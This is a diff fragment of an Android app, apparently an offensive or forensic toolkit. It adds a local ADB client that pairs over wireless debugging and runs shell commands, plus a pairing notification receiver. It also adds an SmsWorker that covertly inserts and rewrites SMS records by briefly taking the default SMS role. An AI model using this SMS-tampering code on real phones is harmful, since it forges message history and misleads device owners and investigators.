* Handles wireless debugging pairing, mDNS discovery, and shell command execution.
|
||||||
|
* No external ADB binary needed — pure Java/TLS implementation.
|
||||||
|
*/
|
||||||
|
object LocalAdbClient {
|
||||||
|
|
||||||
|
private const val TAG = "LocalAdbClient"
|
||||||
|
private const val PREFS_NAME = "archon_adb_keys"
|
||||||
|
private const val KEY_PRIVATE = "adb_private_key"
|
||||||
|
private const val KEY_CERTIFICATE = "adb_certificate"
|
||||||
|
private const val LOCALHOST = "127.0.0.1"
|
||||||
|
|
||||||
|
private var connectionManager: AbsAdbConnectionManager? = null
|
||||||
|
private var connected = AtomicBoolean(false)
|
||||||
|
private var connectedPort = AtomicInteger(0)
|
||||||
|
|
||||||
|
init {
|
||||||
|
// Install Conscrypt as the default TLS provider for TLSv1.3 support
|
||||||
|
Security.insertProviderAt(Conscrypt.newProvider(), 1)
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Check if we have a stored ADB key pair (device has been paired before).
|
||||||
|
*/
|
||||||
|
fun hasKeyPair(context: Context): Boolean {
|
||||||
|
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
|
||||||
|
return prefs.contains(KEY_PRIVATE) && prefs.contains(KEY_CERTIFICATE)
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Generate a new RSA-2048 key pair for ADB authentication.
|
||||||
|
* Stored in SharedPreferences.
|
||||||
|
*/
|
||||||
|
fun generateKeyPair(context: Context) {
|
||||||
|
val kpg = KeyPairGenerator.getInstance("RSA")
|
||||||
|
kpg.initialize(2048)
|
||||||
|
val keyPair = kpg.generateKeyPair()
|
||||||
|
|
||||||
|
// Generate self-signed certificate using Android's built-in X509 support
|
||||||
|
val certificate = generateSelfSignedCert(keyPair)
|
||||||
|
|
||||||
|
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
|
||||||
|
prefs.edit()
|
||||||
|
.putString(KEY_PRIVATE, Base64.encodeToString(keyPair.private.encoded, Base64.NO_WRAP))
|
||||||
|
.putString(KEY_CERTIFICATE, Base64.encodeToString(certificate.encoded, Base64.NO_WRAP))
|
||||||
|
.apply()
|
||||||
|
|
||||||
|
Log.i(TAG, "Generated new ADB key pair")
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Generate a self-signed X.509 v3 certificate for ADB authentication.
|
||||||
|
* Built from raw DER/ASN.1 encoding — no sun.security or BouncyCastle needed.
|
||||||
|
*/
|
||||||
|
private fun generateSelfSignedCert(keyPair: java.security.KeyPair): Certificate {
|
||||||
|
val serial = BigInteger(64, SecureRandom())
|
||||||
|
|
||||||
|
val notBefore = Calendar.getInstance(TimeZone.getTimeZone("UTC"))
|
||||||
|
val notAfter = Calendar.getInstance(TimeZone.getTimeZone("UTC"))
|
||||||
|
notAfter.add(Calendar.YEAR, 25)
|
||||||
|
|
||||||
|
// DN: CN=adb_archon
|
||||||
|
val dn = derSequence(derSet(derSequence(
|
||||||
|
derOid(byteArrayOf(0x55, 0x04, 0x03)), // OID 2.5.4.3 = CN
|
||||||
|
derUtf8String("adb_archon")
|
||||||
|
)))
|
||||||
|
|
||||||
|
// SHA256withRSA algorithm identifier
|
||||||
|
// OID 1.2.840.113549.1.1.11
|
||||||
|
val sha256WithRsa = byteArrayOf(
|
||||||
|
0x2A, 0x86.toByte(), 0x48, 0x86.toByte(), 0xCE.toByte(),
|
||||||
|
0x3D, 0x04, 0x03, 0x02 // placeholder, replaced below
|
||||||
|
)
|
||||||
|
// Correct OID bytes for 1.2.840.113549.1.1.11
|
||||||
|
val sha256RsaOid = byteArrayOf(
|
||||||
|
0x2A, 0x86.toByte(), 0x48, 0x86.toByte(), 0xF7.toByte(),
|
||||||
|
0x0D, 0x01, 0x01, 0x0B
|
||||||
|
)
|
||||||
|
val algId = derSequence(derOid(sha256RsaOid), derNull())
|
||||||
|
|
||||||
|
// SubjectPublicKeyInfo — re-use the encoded form from the key
|
||||||
|
val spki = keyPair.public.encoded // Already DER-encoded SubjectPublicKeyInfo
|
||||||
|
|
||||||
|
// TBSCertificate
|
||||||
|
val tbs = derSequence(
|
||||||
|
derExplicit(0, derInteger(BigInteger.valueOf(2))), // v3
|
||||||
|
derInteger(serial),
|
||||||
|
algId,
|
||||||
|
dn, // issuer
|
||||||
|
derSequence(derUtcTime(notBefore), derUtcTime(notAfter)), // validity
|
||||||
|
dn, // subject = issuer (self-signed)
|
||||||
|
spki // subjectPublicKeyInfo
|
||||||
|
)
|
||||||
|
|
||||||
|
// Sign the TBS
|
||||||
|
val sig = Signature.getInstance("SHA256withRSA")
|
||||||
|
sig.initSign(keyPair.private)
|
||||||
|
sig.update(tbs)
|
||||||
|
val signature = sig.sign()
|
||||||
|
|
||||||
|
// Full certificate: SEQUENCE { tbs, algId, BIT STRING(signature) }
|
||||||
|
val certDer = derSequence(tbs, algId, derBitString(signature))
|
||||||
|
|
||||||
|
val cf = CertificateFactory.getInstance("X.509")
|
||||||
|
return cf.generateCertificate(ByteArrayInputStream(certDer))
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── ASN.1 / DER helpers ──────────────────────────────────────
|
||||||
|
|
||||||
|
private fun derTag(tag: Int, content: ByteArray): ByteArray {
|
||||||
|
val out = ByteArrayOutputStream()
|
||||||
|
out.write(tag)
|
||||||
|
derWriteLength(out, content.size)
|
||||||
|
out.write(content)
|
||||||
|
return out.toByteArray()
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun derWriteLength(out: ByteArrayOutputStream, length: Int) {
|
||||||
|
if (length < 0x80) {
|
||||||
|
out.write(length)
|
||||||
|
} else if (length < 0x100) {
|
||||||
|
out.write(0x81)
|
||||||
|
out.write(length)
|
||||||
|
} else if (length < 0x10000) {
|
||||||
|
out.write(0x82)
|
||||||
|
out.write(length shr 8)
|
||||||
|
out.write(length and 0xFF)
|
||||||
|
} else {
|
||||||
|
out.write(0x83)
|
||||||
|
out.write(length shr 16)
|
||||||
|
out.write((length shr 8) and 0xFF)
|
||||||
|
out.write(length and 0xFF)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun derSequence(vararg items: ByteArray): ByteArray {
|
||||||
|
val content = ByteArrayOutputStream()
|
||||||
|
for (item in items) content.write(item)
|
||||||
|
return derTag(0x30, content.toByteArray())
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun derSet(vararg items: ByteArray): ByteArray {
|
||||||
|
val content = ByteArrayOutputStream()
|
||||||
|
for (item in items) content.write(item)
|
||||||
|
return derTag(0x31, content.toByteArray())
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun derInteger(value: BigInteger): ByteArray {
|
||||||
|
val bytes = value.toByteArray()
|
||||||
|
return derTag(0x02, bytes)
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun derOid(oidBytes: ByteArray): ByteArray {
|
||||||
|
return derTag(0x06, oidBytes)
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun derNull(): ByteArray = byteArrayOf(0x05, 0x00)
|
||||||
|
|
||||||
|
private fun derUtf8String(s: String): ByteArray {
|
||||||
|
return derTag(0x0C, s.toByteArray(Charsets.UTF_8))
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun derBitString(data: ByteArray): ByteArray {
|
||||||
|
val content = ByteArray(data.size + 1)
|
||||||
|
content[0] = 0 // no unused bits
|
||||||
|
System.arraycopy(data, 0, content, 1, data.size)
|
||||||
|
return derTag(0x03, content)
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun derUtcTime(cal: Calendar): ByteArray {
|
||||||
|
val s = String.format(
|
||||||
|
"%02d%02d%02d%02d%02d%02dZ",
|
||||||
|
cal.get(Calendar.YEAR) % 100,
|
||||||
|
cal.get(Calendar.MONTH) + 1,
|
||||||
|
cal.get(Calendar.DAY_OF_MONTH),
|
||||||
|
cal.get(Calendar.HOUR_OF_DAY),
|
||||||
|
cal.get(Calendar.MINUTE),
|
||||||
|
cal.get(Calendar.SECOND)
|
||||||
|
)
|
||||||
|
return derTag(0x17, s.toByteArray(Charsets.US_ASCII))
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun derExplicit(tag: Int, content: ByteArray): ByteArray {
|
||||||
|
return derTag(0xA0 or tag, content)
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Discover the wireless debugging pairing port via mDNS.
|
||||||
|
*/
|
||||||
|
fun discoverPairingPort(context: Context, timeoutSec: Long = 15): Int? {
|
||||||
|
val foundPort = AtomicInteger(-1)
|
||||||
|
val latch = CountDownLatch(1)
|
||||||
|
|
||||||
|
val mdns = AdbMdns(context, AdbMdns.SERVICE_TYPE_TLS_PAIRING) { hostAddress, port ->
|
||||||
|
Log.i(TAG, "Found pairing service at $hostAddress:$port")
|
||||||
|
foundPort.set(port)
|
||||||
|
latch.countDown()
|
||||||
|
}
|
||||||
|
mdns.start()
|
||||||
|
|
||||||
|
latch.await(timeoutSec, TimeUnit.SECONDS)
|
||||||
|
mdns.stop()
|
||||||
|
|
||||||
|
val port = foundPort.get()
|
||||||
|
return if (port > 0) port else null
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Pair with the device's wireless debugging service.
|
||||||
|
*/
|
||||||
|
fun pair(context: Context, host: String = LOCALHOST, port: Int, code: String): Boolean {
|
||||||
|
return try {
|
||||||
|
ensureKeyPair(context)
|
||||||
|
val manager = getOrCreateManager(context)
|
||||||
|
val success = manager.pair(host, port, code)
|
||||||
|
Log.i(TAG, "Pairing result: $success")
|
||||||
|
success
|
||||||
|
} catch (e: Exception) {
|
||||||
|
Log.e(TAG, "Pairing failed", e)
|
||||||
|
false
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Discover the wireless debugging connect port via mDNS.
|
||||||
|
*/
|
||||||
|
fun discoverConnectPort(context: Context, timeoutSec: Long = 10): Int? {
|
||||||
|
val foundPort = AtomicInteger(-1)
|
||||||
|
val latch = CountDownLatch(1)
|
||||||
|
|
||||||
|
val mdns = AdbMdns(context, AdbMdns.SERVICE_TYPE_TLS_CONNECT) { hostAddress, port ->
|
||||||
|
Log.i(TAG, "Found connect service at $hostAddress:$port")
|
||||||
|
foundPort.set(port)
|
||||||
|
latch.countDown()
|
||||||
|
}
|
||||||
|
mdns.start()
|
||||||
|
|
||||||
|
latch.await(timeoutSec, TimeUnit.SECONDS)
|
||||||
|
mdns.stop()
|
||||||
|
|
||||||
|
val port = foundPort.get()
|
||||||
|
return if (port > 0) port else null
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Connect to the device's wireless debugging ADB service.
|
||||||
|
*/
|
||||||
|
fun connect(context: Context, host: String = LOCALHOST, port: Int): Boolean {
|
||||||
|
return try {
|
||||||
|
val manager = getOrCreateManager(context)
|
||||||
|
val success = manager.connect(host, port)
|
||||||
|
connected.set(success)
|
||||||
|
if (success) connectedPort.set(port)
|
||||||
|
Log.i(TAG, "Connect result: $success (port=$port)")
|
||||||
|
success
|
||||||
|
} catch (e: Exception) {
|
||||||
|
Log.e(TAG, "Connect failed", e)
|
||||||
|
connected.set(false)
|
||||||
|
false
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Auto-connect: discover port via mDNS and connect.
|
||||||
|
*/
|
||||||
|
fun autoConnect(context: Context): Boolean {
|
||||||
|
val port = discoverConnectPort(context) ?: return false
|
||||||
|
return connect(context, LOCALHOST, port)
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Disconnect the current ADB session.
|
||||||
|
*/
|
||||||
|
fun disconnect() {
|
||||||
|
try {
|
||||||
|
connectionManager?.disconnect()
|
||||||
|
} catch (e: Exception) {
|
||||||
|
Log.w(TAG, "Disconnect error", e)
|
||||||
|
}
|
||||||
|
connected.set(false)
|
||||||
|
connectedPort.set(0)
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Check if currently connected to an ADB session.
|
||||||
|
*/
|
||||||
|
fun isConnected(): Boolean = connected.get()
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Execute a shell command via the local ADB connection.
|
||||||
|
*/
|
||||||
|
fun execute(command: String): ShellResult {
|
||||||
|
if (!connected.get()) {
|
||||||
|
return ShellResult("", "Not connected to local ADB", -1)
|
||||||
|
}
|
||||||
|
|
||||||
|
return try {
|
||||||
|
val manager = connectionManager ?: return ShellResult("", "No connection manager", -1)
|
||||||
|
val stream = manager.openStream("shell:$command")
|
||||||
|
val inputStream = stream.openInputStream()
|
||||||
|
val stdout = inputStream.bufferedReader().readText().trim()
|
||||||
|
stream.close()
|
||||||
|
ShellResult(stdout, "", 0)
|
||||||
|
} catch (e: Exception) {
|
||||||
|
Log.e(TAG, "Shell execute failed", e)
|
||||||
|
connected.set(false)
|
||||||
|
ShellResult("", "ADB shell error: ${e.message}", -1)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Check if we were previously paired (have keys stored).
|
||||||
|
*/
|
||||||
|
fun isPaired(context: Context): Boolean = hasKeyPair(context)
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Get a human-readable status string.
|
||||||
|
*/
|
||||||
|
fun getStatusString(context: Context): String {
|
||||||
|
return when {
|
||||||
|
connected.get() -> "Connected (port ${connectedPort.get()})"
|
||||||
|
hasKeyPair(context) -> "Paired, not connected"
|
||||||
|
else -> "Not paired"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Internal ──────────────────────────────────────────────────
|
||||||
|
|
||||||
|
private fun ensureKeyPair(context: Context) {
|
||||||
|
if (!hasKeyPair(context)) {
|
||||||
|
generateKeyPair(context)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun getOrCreateManager(context: Context): AbsAdbConnectionManager {
|
||||||
|
connectionManager?.let { return it }
|
||||||
|
|
||||||
|
ensureKeyPair(context)
|
||||||
|
|
||||||
|
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
|
||||||
|
val privateKeyBytes = Base64.decode(prefs.getString(KEY_PRIVATE, ""), Base64.NO_WRAP)
|
||||||
|
val certBytes = Base64.decode(prefs.getString(KEY_CERTIFICATE, ""), Base64.NO_WRAP)
|
||||||
|
|
||||||
|
val keySpec = PKCS8EncodedKeySpec(privateKeyBytes)
|
||||||
|
val privateKey = KeyFactory.getInstance("RSA").generatePrivate(keySpec)
|
||||||
|
|
||||||
|
val certFactory = CertificateFactory.getInstance("X.509")
|
||||||
|
val certificate = certFactory.generateCertificate(ByteArrayInputStream(certBytes))
|
||||||
|
|
||||||
|
val manager = object : AbsAdbConnectionManager() {
|
||||||
|
override fun getPrivateKey(): PrivateKey = privateKey
|
||||||
|
override fun getCertificate(): Certificate = certificate
|
||||||
|
override fun getDeviceName(): String = "archon_${Build.MODEL}"
|
||||||
|
}
|
||||||
|
manager.setApi(Build.VERSION.SDK_INT)
|
||||||
|
manager.setHostAddress(LOCALHOST)
|
||||||
|
|
||||||
|
connectionManager = manager
|
||||||
|
return manager
|
||||||
|
}
|
||||||
|
}
|
||||||
@ -0,0 +1,216 @@
|
|||||||
|
package com.darkhal.archon.service
|
||||||
|
|
||||||
|
import android.app.NotificationChannel
|
||||||
|
import android.app.NotificationManager
|
||||||
|
import android.app.PendingIntent
|
||||||
|
import android.content.BroadcastReceiver
|
||||||
|
import android.content.Context
|
||||||
|
import android.content.Intent
|
||||||
|
import android.os.Build
|
||||||
|
import android.util.Log
|
||||||
|
import androidx.core.app.NotificationCompat
|
||||||
|
import androidx.core.app.RemoteInput
|
||||||
|
import com.darkhal.archon.R
|
||||||
|
import com.darkhal.archon.server.ArchonClient
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Handles the pairing code entered via notification inline reply.
|
||||||
|
*
|
||||||
|
* Flow (like Shizuku):
|
||||||
|
* 1. User taps "START PAIRING" in Setup
|
||||||
|
* 2. App shows notification with text input for pairing code
|
||||||
|
* 3. User opens Developer Options > Wireless Debugging > Pair with code
|
||||||
|
* 4. User pulls down notification shade and enters the 6-digit code
|
||||||
|
* 5. This receiver auto-detects port, pairs, connects, starts ArchonServer
|
||||||
|
*/
|
||||||
|
class PairingReceiver : BroadcastReceiver() {
|
||||||
|
|
||||||
|
companion object {
|
||||||
|
private const val TAG = "PairingReceiver"
|
||||||
|
const val ACTION_PAIR = "com.darkhal.archon.ACTION_PAIR"
|
||||||
|
const val KEY_PAIRING_CODE = "pairing_code"
|
||||||
|
const val NOTIFICATION_ID = 42
|
||||||
|
const val CHANNEL_ID = "archon_pairing"
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Show the pairing notification with inline text input.
|
||||||
|
*/
|
||||||
|
fun showPairingNotification(context: Context) {
|
||||||
|
createChannel(context)
|
||||||
|
|
||||||
|
val replyIntent = Intent(ACTION_PAIR).apply {
|
||||||
|
setPackage(context.packageName)
|
||||||
|
}
|
||||||
|
val replyPending = PendingIntent.getBroadcast(
|
||||||
|
context, 0, replyIntent,
|
||||||
|
PendingIntent.FLAG_UPDATE_CURRENT or PendingIntent.FLAG_MUTABLE
|
||||||
|
)
|
||||||
|
|
||||||
|
val remoteInput = RemoteInput.Builder(KEY_PAIRING_CODE)
|
||||||
|
.setLabel("6-digit pairing code")
|
||||||
|
.build()
|
||||||
|
|
||||||
|
val action = NotificationCompat.Action.Builder(
|
||||||
|
R.drawable.ic_archon,
|
||||||
|
"Enter pairing code",
|
||||||
|
replyPending
|
||||||
|
)
|
||||||
|
.addRemoteInput(remoteInput)
|
||||||
|
.build()
|
||||||
|
|
||||||
|
val notification = NotificationCompat.Builder(context, CHANNEL_ID)
|
||||||
|
.setSmallIcon(R.drawable.ic_archon)
|
||||||
|
.setContentTitle("Archon — Wireless Debugging Pairing")
|
||||||
|
.setContentText("Open Settings > Developer Options > Wireless Debugging > Pair with code")
|
||||||
|
.setStyle(NotificationCompat.BigTextStyle()
|
||||||
|
.bigText("1. Open Settings > Developer Options\n" +
|
||||||
|
"2. Enable Wireless Debugging\n" +
|
||||||
|
"3. Tap 'Pair with pairing code'\n" +
|
||||||
|
"4. Enter the 6-digit code below"))
|
||||||
|
.addAction(action)
|
||||||
|
.setOngoing(true)
|
||||||
|
.setPriority(NotificationCompat.PRIORITY_HIGH)
|
||||||
|
.setAutoCancel(false)
|
||||||
|
.build()
|
||||||
|
|
||||||
|
val nm = context.getSystemService(Context.NOTIFICATION_SERVICE) as NotificationManager
|
||||||
|
nm.notify(NOTIFICATION_ID, notification)
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Update the notification with a status message (no input).
|
||||||
|
*/
|
||||||
|
fun updateNotification(context: Context, message: String, ongoing: Boolean = false) {
|
||||||
|
createChannel(context)
|
||||||
|
|
||||||
|
val notification = NotificationCompat.Builder(context, CHANNEL_ID)
|
||||||
|
.setSmallIcon(R.drawable.ic_archon)
|
||||||
|
.setContentTitle("Archon Pairing")
|
||||||
|
.setContentText(message)
|
||||||
|
.setOngoing(ongoing)
|
||||||
|
.setPriority(NotificationCompat.PRIORITY_HIGH)
|
||||||
|
.setAutoCancel(!ongoing)
|
||||||
|
.build()
|
||||||
|
|
||||||
|
val nm = context.getSystemService(Context.NOTIFICATION_SERVICE) as NotificationManager
|
||||||
|
nm.notify(NOTIFICATION_ID, notification)
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Dismiss the pairing notification.
|
||||||
|
*/
|
||||||
|
fun dismissNotification(context: Context) {
|
||||||
|
val nm = context.getSystemService(Context.NOTIFICATION_SERVICE) as NotificationManager
|
||||||
|
nm.cancel(NOTIFICATION_ID)
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun createChannel(context: Context) {
|
||||||
|
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
|
||||||
|
val channel = NotificationChannel(
|
||||||
|
CHANNEL_ID,
|
||||||
|
"Wireless Debugging Pairing",
|
||||||
|
NotificationManager.IMPORTANCE_HIGH
|
||||||
|
).apply {
|
||||||
|
description = "Used for entering the wireless debugging pairing code"
|
||||||
|
}
|
||||||
|
val nm = context.getSystemService(Context.NOTIFICATION_SERVICE) as NotificationManager
|
||||||
|
nm.createNotificationChannel(channel)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
override fun onReceive(context: Context, intent: Intent) {
|
||||||
|
if (intent.action != ACTION_PAIR) return
|
||||||
|
|
||||||
|
val remoteInput = RemoteInput.getResultsFromIntent(intent)
|
||||||
|
val code = remoteInput?.getCharSequence(KEY_PAIRING_CODE)?.toString()?.trim()
|
||||||
|
|
||||||
|
if (code.isNullOrEmpty()) {
|
||||||
|
updateNotification(context, "No code entered — try again")
|
||||||
|
showPairingNotification(context)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
Log.i(TAG, "Received pairing code: $code")
|
||||||
|
updateNotification(context, "Pairing with code $code...", ongoing = true)
|
||||||
|
|
||||||
|
// Run pairing in background thread
|
||||||
|
Thread {
|
||||||
|
try {
|
||||||
|
// Auto-detect pairing port
|
||||||
|
Log.i(TAG, "Discovering pairing port...")
|
||||||
|
val port = LocalAdbClient.discoverPairingPort(context)
|
||||||
|
if (port == null) {
|
||||||
|
Log.w(TAG, "Could not find pairing port")
|
||||||
|
updateNotification(context, "Failed: no pairing port found. Is the Pair dialog still open?")
|
||||||
|
Thread.sleep(3000)
|
||||||
|
showPairingNotification(context)
|
||||||
|
return@Thread
|
||||||
|
}
|
||||||
|
|
||||||
|
Log.i(TAG, "Found pairing port: $port, pairing...")
|
||||||
|
updateNotification(context, "Found port $port, pairing...", ongoing = true)
|
||||||
|
|
||||||
|
val success = LocalAdbClient.pair(context, "127.0.0.1", port, code)
|
||||||
|
if (!success) {
|
||||||
|
Log.w(TAG, "Pairing failed")
|
||||||
|
updateNotification(context, "Pairing failed — wrong code or port changed. Try again.")
|
||||||
|
Thread.sleep(3000)
|
||||||
|
showPairingNotification(context)
|
||||||
|
return@Thread
|
||||||
|
}
|
||||||
|
|
||||||
|
Log.i(TAG, "Paired! Waiting for connect service...")
|
||||||
|
updateNotification(context, "Paired! Waiting for ADB connect service...", ongoing = true)
|
||||||
|
|
||||||
|
// Wait for wireless debugging to register the connect service after pairing
|
||||||
|
Thread.sleep(2000)
|
||||||
|
|
||||||
|
// Try to discover and connect with retries
|
||||||
|
var connectSuccess = false
|
||||||
|
for (attempt in 1..3) {
|
||||||
|
Log.i(TAG, "Connect attempt $attempt/3...")
|
||||||
|
updateNotification(context, "Connecting (attempt $attempt/3)...", ongoing = true)
|
||||||
|
|
||||||
|
val connectPort = LocalAdbClient.discoverConnectPort(context, timeoutSec = 8)
|
||||||
|
if (connectPort != null) {
|
||||||
|
Log.i(TAG, "Found connect port: $connectPort")
|
||||||
|
connectSuccess = LocalAdbClient.connect(context, "127.0.0.1", connectPort)
|
||||||
|
if (connectSuccess) {
|
||||||
|
Log.i(TAG, "Connected on port $connectPort")
|
||||||
|
break
|
||||||
|
}
|
||||||
|
Log.w(TAG, "Connect failed on port $connectPort")
|
||||||
|
} else {
|
||||||
|
Log.w(TAG, "mDNS connect discovery failed (attempt $attempt)")
|
||||||
|
}
|
||||||
|
|
||||||
|
if (attempt < 3) Thread.sleep(2000)
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!connectSuccess) {
|
||||||
|
Log.w(TAG, "All connect attempts failed")
|
||||||
|
updateNotification(context, "Paired but connect failed. Open Setup tab and tap START SERVER.", ongoing = false)
|
||||||
|
return@Thread
|
||||||
|
}
|
||||||
|
|
||||||
|
// Try to start ArchonServer
|
||||||
|
updateNotification(context, "Connected! Starting Archon Server...", ongoing = true)
|
||||||
|
val result = ArchonClient.startServer(context)
|
||||||
|
|
||||||
|
val msg = if (result.success) {
|
||||||
|
"Paired + connected + Archon Server running!"
|
||||||
|
} else {
|
||||||
|
"Paired + connected! Server: ${result.message}"
|
||||||
|
}
|
||||||
|
|
||||||
|
Log.i(TAG, msg)
|
||||||
|
updateNotification(context, msg, ongoing = false)
|
||||||
|
|
||||||
|
} catch (e: Exception) {
|
||||||
|
Log.e(TAG, "Pairing error", e)
|
||||||
|
updateNotification(context, "Error: ${e.message}")
|
||||||
|
}
|
||||||
|
}.start()
|
||||||
|
}
|
||||||
|
}
|
||||||
@ -0,0 +1,130 @@
|
|||||||
|
package com.darkhal.archon.service
|
||||||
|
|
||||||
|
import android.content.BroadcastReceiver
|
||||||
|
import android.content.ContentValues
|
||||||
|
import android.content.Context
|
||||||
|
import android.content.Intent
|
||||||
|
import android.net.Uri
|
||||||
|
import android.util.Log
|
||||||
|
import java.io.File
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Handles covert SMS insert/update from ADB shell broadcasts.
|
||||||
|
*
|
||||||
|
* Flow:
|
||||||
|
* 1. Python backend sets Archon as default SMS app via `cmd role`
|
||||||
|
* 2. Sends: am broadcast -a com.darkhal.archon.SMS_INSERT -n .../.service.SmsWorker --es address ... --es body ...
|
||||||
|
* 3. This receiver does ContentResolver.insert() at Archon's UID (which is now the default SMS app)
|
||||||
|
* 4. Writes result to files/sms_result.txt
|
||||||
|
* 5. Python reads result via `run-as com.darkhal.archon cat files/sms_result.txt`
|
||||||
|
* 6. Python restores original default SMS app
|
||||||
|
*/
|
||||||
|
class SmsWorker : BroadcastReceiver() {
|
||||||
|
|
||||||
|
companion object {
|
||||||
|
private const val TAG = "SmsWorker"
|
||||||
|
const val ACTION_INSERT = "com.darkhal.archon.SMS_INSERT"
|
||||||
|
const val ACTION_UPDATE = "com.darkhal.archon.SMS_UPDATE"
|
||||||
|
const val RESULT_FILE = "sms_result.txt"
|
||||||
|
}
|
||||||
|
|
||||||
|
override fun onReceive(context: Context, intent: Intent) {
|
||||||
|
val action = intent.action ?: return
|
||||||
|
val resultFile = File(context.filesDir, RESULT_FILE)
|
||||||
|
|
||||||
|
try {
|
||||||
|
when (action) {
|
||||||
|
ACTION_INSERT -> handleInsert(context, intent, resultFile)
|
||||||
|
ACTION_UPDATE -> handleUpdate(context, intent, resultFile)
|
||||||
|
else -> resultFile.writeText("ERROR:Unknown action $action")
|
||||||
|
}
|
||||||
|
} catch (e: Exception) {
|
||||||
|
Log.e(TAG, "SMS operation failed", e)
|
||||||
|
resultFile.writeText("ERROR:${e.message}")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun handleInsert(context: Context, intent: Intent, resultFile: File) {
|
||||||
|
val address = intent.getStringExtra("address") ?: run {
|
||||||
|
resultFile.writeText("ERROR:No address"); return
|
||||||
|
}
|
||||||
|
val body = intent.getStringExtra("body") ?: run {
|
||||||
|
resultFile.writeText("ERROR:No body"); return
|
||||||
|
}
|
||||||
|
|
||||||
|
val values = ContentValues().apply {
|
||||||
|
put("address", address)
|
||||||
|
put("body", body)
|
||||||
|
put("date", intent.getLongExtra("date", System.currentTimeMillis()))
|
||||||
|
put("type", intent.getIntExtra("type", 1))
|
||||||
|
put("read", intent.getIntExtra("read", 1))
|
||||||
|
put("seen", 1)
|
||||||
|
}
|
||||||
|
|
||||||
|
val uri = context.contentResolver.insert(Uri.parse("content://sms/"), values)
|
||||||
|
|
||||||
|
if (uri != null) {
|
||||||
|
Log.i(TAG, "SMS inserted: $uri")
|
||||||
|
resultFile.writeText("SUCCESS:$uri")
|
||||||
|
} else {
|
||||||
|
Log.w(TAG, "SMS insert returned null")
|
||||||
|
resultFile.writeText("FAIL:provider returned null")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun handleUpdate(context: Context, intent: Intent, resultFile: File) {
|
||||||
|
val smsId = intent.getStringExtra("id") ?: run {
|
||||||
|
resultFile.writeText("ERROR:No SMS id"); return
|
||||||
|
}
|
||||||
|
|
||||||
|
val values = ContentValues()
|
||||||
|
intent.getStringExtra("body")?.let { values.put("body", it) }
|
||||||
|
intent.getStringExtra("address")?.let { values.put("address", it) }
|
||||||
|
if (intent.hasExtra("type")) values.put("type", intent.getIntExtra("type", 1))
|
||||||
|
if (intent.hasExtra("read")) values.put("read", intent.getIntExtra("read", 1))
|
||||||
|
if (intent.hasExtra("date")) values.put("date", intent.getLongExtra("date", 0))
|
||||||
|
|
||||||
|
if (values.size() == 0) {
|
||||||
|
resultFile.writeText("ERROR:Nothing to update"); return
|
||||||
|
}
|
||||||
|
|
||||||
|
val count = context.contentResolver.update(
|
||||||
|
Uri.parse("content://sms/$smsId"), values, null, null
|
||||||
|
)
|
||||||
|
|
||||||
|
Log.i(TAG, "SMS update: $count rows affected for id=$smsId")
|
||||||
|
resultFile.writeText("SUCCESS:updated=$count")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── SMS Role stubs ──────────────────────────────────────────────
|
||||||
|
// These are required for Android to accept Archon as a valid SMS role holder.
|
||||||
|
// They don't need to do anything — they just need to exist and be declared
|
||||||
|
// in the manifest with the correct intent filters and permissions.
|
||||||
|
|
||||||
|
/** Stub: receives incoming SMS when we're temporarily the default SMS app. */
|
||||||
|
class SmsDeliverReceiver : BroadcastReceiver() {
|
||||||
|
override fun onReceive(context: Context, intent: Intent) {
|
||||||
|
// Intentionally empty — we only hold the SMS role briefly for inserts
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Stub: receives incoming MMS when we're temporarily the default SMS app. */
|
||||||
|
class MmsDeliverReceiver : BroadcastReceiver() {
|
||||||
|
override fun onReceive(context: Context, intent: Intent) {
|
||||||
|
// Intentionally empty
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Stub: "respond via message" service required for SMS role. */
|
||||||
|
class RespondViaMessageService : android.app.Service() {
|
